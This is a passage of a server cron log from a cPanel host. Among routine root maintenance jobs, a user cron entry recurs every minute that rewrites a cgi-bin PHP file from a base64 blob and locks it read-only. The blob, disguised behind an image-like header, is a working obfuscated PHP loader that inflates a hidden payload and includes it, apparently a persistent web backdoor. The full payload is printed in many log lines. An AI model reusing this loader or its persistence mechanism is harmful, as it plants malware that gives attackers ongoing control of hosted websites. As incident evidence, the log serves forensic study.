bxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:08:01 server CROND[23960]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:08:01 server CROND[23961]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:08:01 server CROND[23962]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:09:01 server CROND[24491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:09:01 server CROND[24492]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:09:01 server CROND[24494]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:09:01 server CROND[24493]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 05:10:01 server CROND[24906]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 05:10:01 server CROND[24909]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 05:10:01 server CROND[24911]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 05:10:01 server CROND[24912]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:10:01 server CROND[24913]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 05:10:01 server CROND[24914]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:10:01 server CROND[24915]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:10:01 server CROND[24916]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 05:11:01 server CROND[25755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:11:01 server CROND[25756]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:11:01 server CROND[25757]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:12:01 server CROND[26133]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 05:12:01 server CROND[26134]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:12:01 server CROND[26132]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:12:01 server CROND[26135]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:13:01 server CROND[26531]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:13:01 server CROND[26532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:13:01 server CROND[26533]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:14:01 server CROND[27007]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:14:01 server CROND[27008]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:14:01 server CROND[27009]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:15:01 server CROND[27393]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:15:01 server CROND[27396]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:15:01 server CROND[27397]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 05:15:01 server CROND[27398]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:15:01 server CROND[27400]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 05:15:01 server CROND[27402]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 05:15:01 server CROND[27403]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  7 05:15:01 server CROND[27413]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 05:16:01 server CROND[28254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:16:01 server CROND[28255]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:16:01 server CROND[28256]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:17:01 server CROND[28636]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:17:01 server CROND[28637]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:17:01 server CROND[28638]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:18:01 server CROND[29064]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:18:01 server CROND[29066]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:18:01 server CROND[29065]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:19:01 server CROND[29543]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 05:19:01 server CROND[29544]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:19:01 server CROND[29545]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:20:01 server CROND[29985]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 05:20:01 server CROND[29990]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 05:20:01 server CROND[29988]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
